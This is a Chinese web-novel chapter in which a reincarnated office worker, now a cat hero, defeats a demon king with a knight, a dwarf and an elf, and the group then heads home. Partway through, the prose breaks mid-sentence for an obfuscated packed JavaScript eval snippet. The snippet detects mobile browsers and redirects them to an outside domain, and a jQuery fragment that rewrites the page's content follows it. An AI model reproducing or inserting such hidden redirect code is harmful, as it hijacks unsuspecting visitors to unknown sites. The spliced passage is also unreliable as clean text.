默认冷灰
24号文字
方正启体

19. 除魔王

作者:不蘸酱炸鸡本书字数:K更新时间:
    魔王城的黑曜石地砖凉得刺骨,每一块都嵌着三百年前勇者的碎甲。锈迹在血色咒光下泛着冷铁的腥气,风掠过石缝时,竟卷着上一代勇者小队覆灭时溅落的血味——那是种凝固了太久的咸涩,混着瘴气,像浸了血的陈年麦秸,闷得人胸口发紧。


    方绪白踩着西拉斯盾沿跳上罗文肩头时,琥珀色瞳孔先掠过的不是穹顶垂落的绞索般咒纹,而是罗文披风下摆沾着的麦种。颗粒饱满得能掐出浆,壳上还带着春章播种祭田垄的泥土,是三天前钻密道时,奎兰趁西拉斯骂“走快点别磨蹭”的间隙,偷偷塞给方绪白的。


    当时奎兰耳尖红透,把麦种裹在软布里,小声说“这是阿婆选的好种,等打完仗,咱们种在铁匠铺后,秋天就能吃新麦饼”,此刻麦种随着罗文握剑的手轻轻晃,像在提醒“可别忘啦”。


    “不过是只偷腥的猫,也配凑勇者的热闹?”魔王的骨爪在石墙上抓出五道深痕,石屑混着黑雾般的瘴气从指缝涌出来,裹着半片骑士徽章残片。


    残片上的狮子纹,和罗文剑鞘上的纹样有七分相似,锈迹却重得像在嘲讽“勇者不过是重复覆灭的命运”。


    方绪白的胡须突然向后贴,尾巴尖绷得笔直——这是社畜灵魂刻了八年的危险预警,比躲老板查岗、避地铁咸猪手的直觉还敏锐。


    他没炸毛,反而用尾巴尖轻轻勾了勾罗文的耳垂,那里留着三年前雪山村冰魔划的浅疤,当时罗文为了护他,胳膊被冰爪划开半寸,现在被体温焐得发烫,像个小小的暖炉,熨帖着罗文因握剑而绷紧的神经。


    罗文的绿眼亮了亮,剑鞘撞在地砖上的响,像极了八年前在边陲镇铁匠铺,听西拉斯敲补旧盾的节奏。


    当时西拉斯骂“这破盾补了也没用,不如熔了打把斧头”,却用矿坑老马克传下的铁砧,敲了整整三个晚上,铁屑溅在他手背上,烫出好几个小疤,现在还留着印子。“阿婆说,今天炖的鸡汤放了去年晒干的野菌,还加了我冬天在雪山采的当归,再晚回去,汤就要凉成冻,鸡腿肉都凝住了。”他挥剑时没喊“为了正义”,只把“赶回去喝热汤”的念头裹在淡金色剑气里——那剑气掺着边陲镇麦饼的香,是阿婆每次送他们出门时,塞在罗文背包里的干粮味道,麦饼上还沾着芝麻,是阿婆特意撒的,说“香点,你们路上有精神”。


    剑刃劈向瘴气的瞬间,剑身上蔷薇染的“护”字突然发光,红得像初生的太阳。当年西拉斯笑“小孩子玩意儿不经用,不如多刻道矮人符文”,此刻却像层软甲,把瘴气烫得滋滋响,连罗文手腕上“护村民被山贼砍伤”的旧伤,都没再隐隐作痛——那道伤曾让他握剑时总抖,是方绪白天天用小脑袋蹭他的手腕,像在哄,慢慢竟不抖了。


    “别光顾着耍帅!左边有咒光!”西拉斯的吼声混着盾面被击中的闷响传来,震得地砖颤了颤。他的盾早被咒光劈出三道深痕,黑发红眼在血色里亮得惊人,却没了往日“怕麻烦想躲”的散漫。


    八年前他总说“能躲就躲,打不过跑才是聪明,命没了啥都没了”,现在却把盾稳稳挡在奎兰身前,像座移不动的小山。


    咒光撞在盾面歪歪扭扭的猫爪印上时,竟被弹开半尺——这爪印是去年雪天,方绪白踩了墨汁,不小心印在盾上的,西拉斯骂了句“蠢猫弄脏我的盾”,却没擦,后来还特意用錾子把爪印刻深了点,说“省得你下次再踩歪”。“早说这爪印结实,你俩去年还笑我闲得慌!”西拉斯骂骂咧咧地按紧盾柄,指节泛白——他把矿坑老马克临终前塞的矮人结界,一点一点刻在盾芯里。


    方绪白蹲在罗文肩头,瞥见西拉斯手背矿坑留下的旧疤在发烫,从前遇强咒力会控制不住地发抖,此刻却稳得像嵌在盾柄上的铁铆钉,连呼吸都没乱,只偶尔骂两句“这破咒光真麻烦,溅得我盾上全是黑渣”。


    奎兰的木杖在地上敲出三道绿痕,藤蔓从地砖缝里钻出来,根须带着潮湿的泥土气,紧紧缠着魔王的脚踝,连石缝里的碎甲都卷起来护在外侧。


    浅金发被咒风掀起时,他没像八年前在荆棘谷遇魔兽那样往后缩——当时他连咒都念不利索,只会抱着木杖躲在西拉斯身后哭,眼泪掉在西拉斯的盾上,西拉斯没骂他,只把盾往他身前又挪了挪,说“哭啥,有我呢”。现在却往前迈了半步,蓝眼里清清楚楚映着方绪白的猫影,念咒的语速快了三分:“薇薇安,左上方三寸有咒眼!别靠太近,那咒力会蚀毛发。”


    奎兰口袋里有个绒线小团,里面裹着方绪白的棕黄白毛,是去年在古藤城,方绪白掉毛掉得厉害,奎兰偷偷攒的,说“留着做个小垫子,你冬天睡觉暖”。


    藤蔓绕着魔王爬时,特意避开了方绪白可能落脚的地方,甚至在方绪白身边缠出一圈小小的绿篱,藤蔓上还开了朵极小的白野花,是奎兰用魔法催的,精灵族说“白野花能驱小瘴气”,他想让方绪白更安全点。


    方绪白从罗文肩头跳下来时,爪子垫着肉垫,踩在地砖上没出声——这是社畜“摸鱼不被老板发现”练出的本事,从前只用来躲加班通知和业绩考核,此刻却成了破局的关键。


    他绕到魔王身后,琥珀色瞳孔盯着没被藤蔓缠住的咒眼:紫黑色的光,像极了现世加班时电脑上跳出来的“紧急任务,今晚必须完成”的弹窗,烦得人牙痒,却不得不面对。


    突然想起八年前刚变猫时的事:他追一只偷麦饼的老鼠,摔进了边陲镇的泥坑,浑身是泥,连尾巴尖都沾着草屑,西拉斯骂他“笨猫连老鼠都抓不住,还当什么勇者,不如回村抓田鼠”,却还是把刚补好的盾搁在他脚边挡风,怕他冻着;罗文没恼他扫落缝补衣服的线轴,反而用指尖顺了顺他耳后沾着泥的软毛,说“笨得还挺有意思,下次我帮你抓老鼠,你别再摔进泥坑了,阿婆洗猫毛要骂人的”;奎兰红着脸躲在门后,手里攥着块没沾泥的麦饼,趁西拉斯不注意,悄悄递到方绪白嘴边,还小声说“这麦饼没放糖,你要是不爱吃,我再去拿块甜的,阿婆藏了罐蜂蜜,我偷偷给你抹点”。


    这些念头像团暖火,把他刻在骨子里的“打不过就跑”的社畜本能烧得干干净净——从前他总想着“留得青山在,不怕没柴烧”,现在却只想“必须把这咒眼挠破,不能让他们受伤”,哪怕爪子会被咒力蚀得发疼。


    “小心背后!”罗文的剑突然横过来,剑刃与魔王挥向方绪白的骨爪撞在一起,发出刺耳的金属摩擦声,火星溅在砖上,瞬间被瘴气扑灭。


    方绪白借着这瞬间的空隙,往后跳了半步,刚好避开溅过来的瘴气——那瘴气落在地上,把地砖都蚀出了小坑,像在提醒“再慢一点就完了”。


    剑刃碰撞的瞬间,方绪白听见奎兰的藤蔓“唰”地缠上了魔王的另一只手,根须还特意绕开了他的尾巴,怕勒疼他,奎兰还急着喊“薇薇安,别靠近它的爪子,上次冰魔的爪子就划疼你了”;西拉斯则趁机把盾往魔王胸口顶,盾芯的矮人结界突然炸开金光,把周围的瘴气都逼退了半丈,连穹顶的咒纹都暗了暗:“薇薇安!往盾上跳!借你爪子用用,挠碎那破眼!别磨磨蹭蹭的,不然鸡汤真凉了,阿婆要骂我没看好你们!”


    方绪白没犹豫——八年来和这三个家伙组队,他早养成了“听西拉斯的盾声、罗文的剑风、奎兰的咒音”的本能:西拉斯的盾声沉,是让他躲;罗文的剑风锐,是让他攻;奎兰的咒音软,是让他小心。


    他踩着西拉斯盾沿反弹的力道,后腿蹬得发力,爪子上泛着淡淡的白光——那是罗文前几天用圣水帮他擦爪子时,偷偷附上的防护咒,当时罗文还说“只是给你洗爪子,别乱动,洗干净了好蹭阿婆的毯子”,现在才知道,罗文早把“护着方绪白”的心思藏在了每个细节里,连洗爪子都不忘加层防护。


    方绪白的爪子狠狠挠在咒眼上,“滋啦——”的声响里,瘴气瞬间从咒眼里涌出来,却没来得及扩散:罗文的剑气立刻圈出了一个金色的圈,把瘴气困在里面,剑气里还带着麦饼的香,是阿婆塞的干粮味;奎兰的藤蔓缠成了密不透风的绿网,把瘴气裹得严严实实,藤蔓上的小野花还在轻轻晃,像在给方绪白加油;西拉斯则把盾压了上去,结界的金光透过盾面,把瘴气烧得连黑渣都没剩下,盾上的猫爪印被金光映得发亮,像活了似的。


    魔王的嘶吼震得穹顶掉灰,碎渣落在方绪白背上时,他正蹲在西拉斯的盾上舔爪子,尾巴尖还沾着点瘴气的黑渣,像沾了墨的毛笔尖,却没被咒力蚀疼——罗文的防护咒还在起效。


    罗文走过来,用剑鞘轻轻碰了碰他的耳朵,动作轻得像怕碰疼他耳后刚长出来的软毛:“没挠坏爪子吧?回去我用温水给你洗干净,再给你梳梳毛——上次你掉的毛,奎兰还说要编个小毛球挂在木杖上,说这样施法时能想起你,省得念错咒。”他的绿眼里满是温柔,连说话的语气都放轻了,没了往日“冷静指挥”的严肃,倒像在哄撒娇的小孩,指尖还顺了顺方绪白背上沾的碎渣。


    奎兰也凑过来,木杖尖垂着片刚长出来的绿叶,轻轻盖在方绪白的背上——那是精灵族“平安”的意思,叶片上还带着晨露的湿气,凉丝丝的,很舒服。


    八年前他连跟人说话都不敢抬头,抱着木杖在边陲镇的桥洞哭的适合,是方绪白叼着块麦饼找到他,用头蹭他的手,像在说“别难过”;现在他能自然地把心意藏在叶片里,甚至敢伸手碰了碰方绪白的尾巴尖,指尖的温度透过绒毛传过去:“薇薇安,下次别跳那么高了,我……我会担心的,上次你从树上摔下来,我念了好久的咒,手都酸了,还是罗文说‘你再念,猫毛都要被咒力烘焦了’,我才停的。”他的脸有点红,却没像从前那样往后缩,反而盯着方绪白的眼睛,认真地说“真的会担心”,浅金发被晨光映得发浅,像撒了把碎金。


    西拉斯把盾往地上一放,坐在盾边喘气,黑发红眼盯着方绪白的猫爪印笑,没了往日的不耐烦,反而伸手摸了摸方绪白的头——他的手心还带着打铁时的温度,有点糙,却很暖,手背上的小疤蹭在方绪白的耳朵上,有点痒:“早知道当年该多刻几个爪印,现在还能多挡几道咒——对了,回去我给你打个铁碗,以后别总抢我的麦酒碗,你那猫爪子总把碗边的肉干蹭掉,浪费!阿婆说肉干是给我补力气的,都被你蹭没了!”他嘴上骂着,却从背包里掏出块烤得香喷喷的肉干,递到方绪白嘴边,肉干上还带着点焦香,是阿婆用松枝烤的,方绪白最爱吃,西拉斯还不忘补充“这是阿婆给的,不是我特意留的,你别多想”,耳尖却悄悄红了。


    方绪白晃了晃尾巴,琥珀色瞳孔里映着三个伙伴的脸:罗文的绿眼里满是温柔,奎兰的蓝眼里带着担忧,西拉斯的红眼里藏着笑意。


    八年前他是躲在写字楼格子间的社畜,连加班外卖都不敢点超过二十块的,怕月底交不起房租,怕老板骂“业绩不好还敢吃贵的”;现在他是蹲在魔王城中央的猫勇者,身边有挥剑护他的骑士、举盾挡咒的矮人、念咒暖他的精灵。


    他突然想起去年在雪山村的事:那天雪下得很大,西拉斯把盾当凳子,奎兰靠在罗文肩上,三人围着炉火煮甜酒,甜酒里加了阿婆酿的蜂蜜,暖乎乎的;他叼着块糖块喂奎兰,奎兰耳尖红透却没躲开,还悄悄把糖纸折成了小猫的样子,塞在方绪白的窝里,说“给你当枕头”;罗文在雪夜里守夜,把方绪白揣进怀里暖着,自己的手却冻得发红,却还说“我不冷,你别冻着了,你那小爪子冻得发紫,我看着心疼”;西拉斯在矿坑找矿石时,特意给方绪白捡了块暖乎乎的铁矿石,说“给你当枕头,别总睡我打铁的垫子,那垫子硬,硌得你总醒”,铁矿石上还带着他手心的温度,暖了方绪白一整夜。那时候他就知道,所谓“勇者小队”,早不是当年在边陲镇凑数的临时队伍——是会记得他爱吃小鱼干、会在他受伤时紧张、会把“回家”的约定放在心上的家人,是比现世里“只谈工作不谈感情”的同事,更亲的家人。


    魔王的身体开始化为飞灰,风卷着碎渣掠过西拉斯的盾面时,西拉斯突然站起来,伸手摸了摸盾上的“护”字——那是罗文去年帮他刻的,当时罗文说“盾要护人,得有个像样的字,不然不像勇者的盾”,西拉斯还骂“你这破审美真麻烦,刻个‘勇’字多好,霸气”,却还是每天擦盾时,特意把“护”字擦得发亮,连缝隙里的铁屑都用小刷子扫干净。此刻他的声音有点哑,却没像往常那样用“麻烦”掩饰情绪,反而对着空气轻声说:“这次……我护住了。”他手背的旧疤还在发烫,却没再想起矿坑塌时的黑暗;此刻看着方绪白、罗文、奎兰都好好的,突然就不怕了:身边有光,有能一起扛的人,就够了,哪怕自己会受伤,也没关系。


    奎兰望着穹顶外的天空,蓝眼里映着远处的森林——那是他从前心心念念想回去的地方,是精灵族世代居住的家园,小时候他总在林间追着蝴蝶跑,长老还说“你要好好学魔法,以后守护这片森林”;可此刻却没了向往。


    他想起精灵族的长老说“你魔法弱,不配当精灵,只会给族里丢脸”,想起自己被赶出来时,连最喜欢的小毯子都没敢带,是罗文把披风披在他身上,说“以后我的披风就是你的毯子”;可现在他能用藤蔓护住伙伴,能让魔法变得有意义,突然就觉得“被赶出来也没关系”。


    他低头摸了摸木杖上缠着的绒线小团,方绪白的猫毛蹭在指尖,软乎乎的——比林间的苔藓还暖。


    从前总觉得“孤独才安全”,怕和人走得太近会被抛弃,可现在靠在罗文身边,听着西拉斯的笑声、方绪白轻


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16290283|182655||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    轻的呼噜声,才知道“有人陪”比“孤独”暖多了:林间的风再清,也比不上罗文递来的姜汤(去年冬天他感冒,罗文守着他煮了半夜,姜放多了辣得他直哭,罗文却没笑,只把方绪白抱来让他揣着暖手);林间的月光再柔,也比不上西拉斯推过来的暖石(矿坑捡的,总带着余温,西拉斯说“给你暖脚,别总冻得直跳,影响施法”);林间的花再香,也比不上方绪白用尾巴扫过手背的温度(轻痒痒的,像在说“有我呢”)——这些细碎的暖,凑成了比精灵森林更让他安心的“家”。


    罗文把剑插回鞘里,伸手抱过方绪白,绿眼里盛着雪山的月光——那是他在雪山村守夜时,看了无数次的月光,当时方绪白缩在他怀里,尾巴缠着他的手指,现在怀里的猫更沉了些,毛也更软了,罗文的脚步也比那时更稳:“走了,阿婆的鸡汤该等急了——她还说,要给你留块鸡腿呢,上次你吃了两块,这次多留一块,让你吃够,省得你半夜扒我枕头要零食。”他抱着方绪白往魔王城外走,披风下摆扫过地砖,沾着的麦种轻轻晃,像跟着节奏跳小步舞,罗文还特意用手按了按披风口袋,怕麦种掉出来——那是奎兰特意选的好种,秋天要种在铁匠铺后,得好好护着。


    方绪白窝在罗文怀里,尾巴缠上他的手腕,把脸往他怀里埋得更深了点——罗文的怀里很暖,带着麦饼和淡淡剑气的味道,是让他安心的味道。


    他偷偷抬眼,看见西拉斯扛着盾走在前面,黑发红眼在晨光里亮得像熔铁,盾上的猫爪印被光映得发亮,连三道深痕都像是镀了层金;奎兰跟在罗文身边,手里攥着那片三叶草,时不时往方绪白这边看一眼,浅金发被风吹得飘起来,像极了古藤城精灵遗址里的垂柳丝。


    远处的地平线上,晨光正从魔王城的废墟后爬上来,金色的光洒在黑曜石地砖上,像给碎甲镀了层暖膜,也给西拉斯的盾、罗文的剑、奎兰的木杖都添了层柔光——这光像极了八年前边陲镇那个春天的早晨:那时候方绪白刚摔进泥坑,浑身是泥,西拉斯举着补好的盾骂他“蠢猫”,却把盾搁在他脚边挡风;罗文蹲下来顺他的毛,指尖带着麦饼的香气;奎兰红着脸躲在树后,手里还攥着要送给他的野花,花瓣上沾着露水,颤巍巍的像怕掉下来。


    而现在,他们要一起回去喝阿婆的鸡汤,要去青稻村看水渠里的鱼(西拉斯说要教方绪白钓鱼,却怕他把鱼吓跑,还说“要是你吓跑了鱼,今晚就没鱼吃,只能啃麦饼”,可西拉斯早就偷偷在渔具包里塞了方绪白爱吃的小鱼干,怕他钓不到鱼会闹)。


    要去石漠村晒暖冬的太阳(奎兰说要给方绪白编个草窝,还要在草窝里垫上他掉的猫毛,说这样躺着暖和,奎兰还偷偷攒了好多猫毛,装在小布包里,就等冬天编草窝)。


    要把这八年没说完的话、没一起做的事,在往后的日子里慢慢补回来——比如一起看一次边陲镇的樱花,去年樱花谢时方绪白还在生病,罗文说“明年一定带你看,让你在樱花树下打滚”。


    一起听阿婆讲年轻时的故事,阿婆总说“我当年也是能扛着麦袋跑三里地的”,西拉斯总爱接“那现在怎么连劈柴都要我来”,阿婆就用汤勺敲他的头。


    一起把那袋麦种全种下去,等明年收获时磨成面粉,做麦饼吃,阿婆说要在麦饼里加蜂蜜,方绪白肯定爱吃。


    可方绪白的尾巴尖突然颤了颤——那股沾在爪子上的魔王咒力,正顺着血管往身体里钻,像温水煮着棉花,不疼,却让他有点发慌。他悄悄抬爪,蹭了蹭罗文的下巴,罗文低头看他,伸手摸了摸他的爪子:“怎么了?爪子疼?”方绪白“喵”了声,把爪子收回来,藏在怀里——不能让罗文担心,也不能让西拉斯和奎兰慌,他们还要回去喝鸡汤,还要种麦种呢。


    可转念一想,方绪白又不怕了:就算咒力真的让他变回人,就算变回那个要挤地铁、要加班的社畜,又怎么样呢?他已经有了想回去的“家”,有了会等他喝鸡汤的伙伴——罗文会把他的剑擦干净,说“以后换你护着我们”;西拉斯会给他打个铁碗,说“就算变人了,也别抢我的麦酒碗”;奎兰会把编好的猫毛小团子给他,说“留着,想方绪白了就看看”。就算变回人,他也能凭着八年来的“猫勇者”本事,护着他们——就像他们护着他那样。


    快走出魔王城大门时,西拉斯突然停下脚步,指着盾面上的猫爪印笑:“哎,你们看,这爪印好像更亮了!比我昨天擦的还亮!”奎兰赶紧凑过去,蓝眼睁得圆圆的,木杖尖都快碰到盾面了:“真的!好像……好像有光在里面转!是方绪白挠咒眼时沾的结界光吧?”罗文也低头看了看,绿眼里泛起笑意,伸手摸了摸方绪白的头,指尖蹭到猫耳后的绒毛:“是你刚才挠咒眼时,把结界的光沾在爪印上了吧?以后这盾,也算咱们小队的‘勋章’了,比刻多少矮人符文都管用。”


    方绪白晃了晃尾巴,把脸往罗文怀里又埋了埋,琥珀色瞳孔里映着魔王城废墟后的晨光——那光比写字楼的白炽灯暖多了,比雪山的月光也暖多了。


    他突然想起社畜时最羡慕的生活:不用加班,有热饭吃,有地方可去。现在,他全都有了,甚至比那时想的还要好——有会骂他却护着他的西拉斯,有温柔却靠谱的罗文,有害羞却心细的奎兰,还有等着他们回去的阿婆和热鸡汤。


    只是没人注意到,方绪白耳后的绒毛里,悄悄泛出一点淡金色的光,像撒了粒碎金;也没人注意到,罗文怀里那袋麦种里,除了发了芽的那粒,还有一粒沾着方绪白的猫毛,正随着罗文的脚步轻轻晃,像在跟着他们,一起往“家”的方向走,要去边陲镇的田垄里,扎下根,长出绿油油的麦芽。


    而远处的边陲镇,阿婆正站在门口,手里握着汤勺,往锅里添了把柴火——柴火是西拉斯劈的,块块都规整,阿婆还念叨“这小子,劈柴倒利索,就是嘴笨”。鸡汤的香气飘出院子,顺着小路往魔王城的方向飘,混着麦饼的香、松枝的香,像在喊:“孩子们,快回来喝汤啦!鸡汤要熬好咯,鸡腿还热着呢!”


    西拉斯闻着风里的香气,加快了脚步,盾都差点撞到门框:“快!阿婆的鸡汤肯定好了!再慢一步,西拉斯要把鸡腿都吃了!”奎兰笑着追上去,还不忘拉着罗文的披风:“别、别跑那么快,地滑,方绪白会摔着的!”罗文抱着方绪白,也跟着笑,脚步轻快得像踩在边陲镇的田埂上——家就在前面,热汤在等,还有什么比这更让人安心的呢?


    方绪白窝在罗文怀里,眯起眼睛,尾巴轻轻晃,耳后的淡金光更亮了点,却没人看见——他只想快点到边陲镇,喝阿婆的热鸡汤,吃留给他的鸡腿,然后把那袋麦种种在铁匠铺后,等秋天结出新麦,做最香的麦饼,分给西拉斯、罗文和奎兰,还有阿婆。
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)